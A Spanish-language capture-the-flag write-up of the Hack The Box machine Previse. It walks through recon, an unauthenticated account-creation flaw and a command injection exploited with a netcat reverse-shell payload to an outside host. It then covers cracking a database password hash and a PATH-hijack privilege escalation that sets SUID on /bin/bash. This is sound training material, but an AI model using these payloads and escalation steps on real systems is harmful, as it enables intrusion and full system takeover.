This page looks best with JavaScript enabled

Hack The Box - Previse

 •  ✍️ sckull

Previse presenta un sitio web donde encontramos un backup lo que nos llevó a ‘Command Injection’. Obtuvimos acceso a un segundo usuario crackeando el hash de la base de datos del sitio. Finalmente escalamos privilegios modificando la variable PATH.

Nombre Previse box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.104
Maker

m4lwhere

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.2, 4.7, 4.5, 5.5, 5.3],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

Escaneo de puertos con nmap nos muestra multiples puertos abiertos: http (80), ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Nmap 7.91 scan initiated Sat Aug  7 20:43:04 2021 as: nmap -Pn -sV -sC -p22,80 -oN scans 10.10.11.104
Nmap scan report for 10.10.11.104 (10.10.11.104)
Host is up (0.071s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug  7 20:43:15 2021 -- 1 IP address (1 host up) scanned in 11.60 seconds

Web Site

Descubrimos un formulario de logeo en el puerto 80.
image

Directory Brute Force

Realizamos una busqueda de directorios y archivos utilizando feroxbuster con la opcion de -x php.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 π ~/htb/previse ❯ feroxbuster -u http://previse.htb -w $MD -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://previse.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
302        0l        0w        0c http://previse.htb/download.php
302      112l      263w     4914c http://previse.htb/files.php
200       20l       64w      980c http://previse.htb/header.php
200       31l       60w     1248c http://previse.htb/nav.php
302       71l      164w     2801c http://previse.htb/index.php
200        5l       14w      217c http://previse.htb/footer.php
200       53l      138w     2224c http://previse.htb/login.php
301        9l       28w      308c http://previse.htb/css
302       74l      176w     2966c http://previse.htb/status.php
301        9l       28w      307c http://previse.htb/js
302        0l        0w        0c http://previse.htb/logout.php
302       93l      238w     3994c http://previse.htb/accounts.php
200        0l        0w        0c http://previse.htb/config.php
302        0l        0w        0c http://previse.htb/logs.php
403        9l       28w      276c http://previse.htb/server-status
[####################] - 35m   882180/882180  408/s   http://previse.htb
[>-------------------] - 2m     22292/882180  129/s   http://previse.htb/css
[>-------------------] - 2m     20476/882180  125/s   http://previse.htb/js

En la direccion /nav vemos multiples opciones entre ellas Create Account la cual nos redirige hacia /login.php.
image

En Burpsuite vemos que /accounts.php muestra un formulario para crear usuarios.
image

www-data - User

Con los parametros del formulario de /accounts.php creamos una solicitud POST con curl agregando los parametros necesarios, con lo que pudimos crear un usuario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
π ~/htb/previse/backup ❯ curl -s -d "username=sckull&password=sckull&confirm=sckull" -H "Cookie: PHPSESSID=ibuhfb4np5u1v3hq3nccn5cedn" -X POST http://previse.htb/accounts.php |html2text
    * Home
    * ACCOUNTS
          o CREATE_ACCOUNT
    * FILES
    * MANAGEMENT_MENU
          o WEBSITE_STATUS
          o LOG_DATA
    * LOG_OUT

***** Add New Account *****
Create new user.
ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!
Usernames and passwords must be between 5 and 32 characters!
Success! User was added!
 [username            ]
 [********************]
 [********************]
CREATE USER
Created_by_m4lwhere
 π ~/htb/previse/backup ❯

Web site

Tras acceder con las credenciales vemos el estado del servidor de base de datos, numero de usuarios y archivos.
image

Tambien opcion para delimitar los logs en Log Data.
image

Web site - Backup

Una opcion para subir archivos y un archivo .zip vemos en /files.php.
image

Tras descargar y extraer los archivos, encontramos que es el codigo fuente de la pagina.

1
2
3
 π ~/htb/previse/backup ❯ ls
accounts.php  config.php  download.php  file_logs.php  files.php  footer.php  header.php  index.php  login.php  logout.php  logs.php  nav.php  siteBackup.zip  status.php
 π ~/htb/previse/backup ❯

Command Injection

Descubrimos que file_logs.php envia el delimitador para los logs hacia logs.php, en este ultimo vemos que es usado como entrada para un script que esta siendo ejecutado por la funcion exec(), además no se muestra ningun tipo de filtro. Con ello sabemos que además del delimitador podriamos enviar un comando para que sea ejecutado despues del script.

1
2
3
4
5
6
[... REDACTED ...]

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

[... REDACTED ...]

Utilizando Burpsuite enviamos el delimitador comma, interceptamos la solicitud y agregamos la ejecucion de una shell inversa.

1
delim=comma;nc+-e+/bin/sh+10.10.14.24+1338

Tras enviar la solicitud obtuvimos una shell con el usuario www-data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 π ~/htb/previse/backup ❯ bash -c "rlwrap nc -lvp 1338"
listening on [any] 1338 ...
connect to [10.10.14.24] from previse.htb [10.10.11.104] 43816
which python
/usr/bin/python
python -c 'import pty; pty.spawn("/bin/bash");'
www-data@previse:/var/www/html$ id; whoami; pwd
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
/var/www/html
www-data@previse:/var/www/html$

m4lwhere - User

Enumeramos el directorio actual y encontramos las credenciales de la base de datos en config.php. Ingresamos y vemos en la base de datos previse el hash de los usuarios registrados.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
www-data@previse:/var/www/html$ cat config.php
cat config.php
cat config.php
<?php

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}

?>
www-data@previse:/var/www/html$ mysql -u root -p
Password: mySQL_p@ssw0rd!:)

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 18
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| previse            |
| sys                |
+--------------------+
5 rows in set (0.00 sec)

mysql> use previse;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;

+-------------------+
| Tables_in_previse |
+-------------------+
| accounts          |
| files             |
+-------------------+
2 rows in set (0.00 sec)

mysql> select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | sckull   | $1$🧂llol$RKfwgf0pEP2y8YXlWwK9f1 | 2021-08-08 04:08:35 |
+----+----------+------------------------------------+---------------------+
2 rows in set (0.00 sec)

mysql>

Crack The Hash

Utilizamos John para crackear la contraseña con el wordlist rockyou.txt, tomando en cuenta el emoji que se presenta en el hash ya que tras insertar un nuevo usuario en la base de datos se toma en cuenta el emoji en la creacion del hash.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
π ~/htb/previse ❯ john hash --format=md5crypt-long --wordlist=$ROCK
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:03:05 27.62% (ETA: 22:47:34) 0g/s 22329p/s 22329c/s 22329C/s rubrubs..rubp27
ilovecody112235! (?)
1g 0:00:05:21 DONE (2021-08-07 22:41) 0.003112g/s 23070p/s 23070c/s 23070C/s ilovecodydean..ilovecody..
Use the "--show" option to display all of the cracked passwords reliably
Session completed
π ~/htb/previse ❯ cat hash
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
π ~/htb/previse ❯
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
/* accounts.php */
[... REDACTED ...]
$hash = crypt($password, '$1$🧂llol$');
$db = connectDB();
if ($db === false) {
    die("ERROR: Could not connect. " . $db->connect_error);
}                    
$sql = "INSERT INTO accounts (username, password) VALUES ('{$username}','{$hash}')";
$result = $db->query($sql);
if ($result) {
    echo '<div class="uk-alert-success" uk-alert><a class="uk-alert-close" uk-close></a><p>Success! User was added!</p></div>';
}
[... REDACTED ...]

Shell

Ingresamos por SSH con la contraseña encontrada, con ello realizamos la lectura de la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 π ~/htb/previse/backup ❯ ssh m4lwhere@previse.htb
m4lwhere@previse.htb's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Aug  8 04:37:54 UTC 2021

  System load:  0.08              Processes:           178
  Usage of /:   49.2% of 4.85GB   Users logged in:     0
  Memory usage: 21%               IP address for eth0: 10.10.11.104
  Swap usage:   0%


0 updates can be applied immediately.


Last login: Fri Jun 18 01:09:10 2021 from 10.10.10.5
m4lwhere@previse:~$ whoami;id;pwd
m4lwhere
uid=1000(m4lwhere) gid=1000(m4lwhere) groups=1000(m4lwhere)
/home/m4lwhere
m4lwhere@previse:~$ cat user.txt
b2156cf5dba3c4171cfaca131061c66e
m4lwhere@previse:~$

Privesc

Tras ejecutar sudo -l -l vemos que tenemos permisos sudo (root) para ejecutar el script access_backup.sh.

1
2
3
4
5
6
7
8
m4lwhere@previse:~$ sudo -l -l
User m4lwhere may run the following commands on previse:

Sudoers entry:
    RunAsUsers: root
    Commands:
	/opt/scripts/access_backup.sh
m4lwhere@previse:~$

Dicho script realiza un backup de logs en /var/backups/ con gzip, aunque vemos que el comando no tiene la direccion completa por lo que podriamos crear un archivo con el mismo nombre y con un comando propio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
www-data@previse:/opt/scripts$ cat access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
www-data@previse:/opt/scripts$

Editamos la variable $PATH, creamos el archivo gzip, dentro ingresamos un comando para leer la flag root.txt, tras ejecutarlo obtuvimos el contenido.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
m4lwhere@previse:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
m4lwhere@previse:~$ export PATH=.:$PATH
m4lwhere@previse:~$ echo $PATH
.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
m4lwhere@previse:~$ echo "cat /root/root.txt > /home/m4lwhere/root.txt" > gzip
<at /root/root.txt > /home/m4lwhere/root.txt" > gzip
m4lwhere@previse:~$ chmod +x gzip
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh
m4lwhere@previse:~$ ls
gzip  root.txt  user.txt
m4lwhere@previse:~$ cat root.txt
bb3e958df9aef1ada9cf9a2d45e96b8e
m4lwhere@previse:~$

Shell

Le dimos permisos SUID a bash y con ello obtuvimos una shell como root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
m4lwhere@previse:~$ echo "chmod u+s /bin/bash" > gzip
m4lwhere@previse:~$ ls -lah /bin/bash
-rwxr-xr-x 1 root root 1.1M Jun  6  2019 /bin/bash
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh
m4lwhere@previse:~$ ls -lah /bin/bash
-rwsr-xr-x 1 root root 1.1M Jun  6  2019 /bin/bash
m4lwhere@previse:~$ /bin/bash -p
bash-4.4# whoami; id
root
uid=1000(m4lwhere) gid=1000(m4lwhere) euid=0(root) groups=1000(m4lwhere)
bash-4.4# cd /root
bash-4.4# ls -lah
total 36K
drwx------  6 root root 4.0K Jul 28 09:11 .
drwxr-xr-x 24 root root 4.0K Jul 27 15:04 ..
lrwxrwxrwx  1 root root    9 Jun  6 13:01 .bash_history -> /dev/null
-rw-r--r--  1 root root 3.1K Apr  9  2018 .bashrc
drwx------  2 root root 4.0K Jul 26 18:41 .cache
drwx------  3 root root 4.0K Jul 26 18:41 .gnupg
drwxr-xr-x  3 root root 4.0K Jul 26 18:41 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-r--------  1 root root   33 Aug  8 02:04 root.txt
drwx------  2 root root 4.0K Jul 26 18:41 .ssh
lrwxrwxrwx  1 root root    9 Jul 28 09:11 .viminfo -> /dev/null
bash-4.4# cat root.txt
bb3e958df9aef1ada9cf9a2d45e96b8e
bash-4.4#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe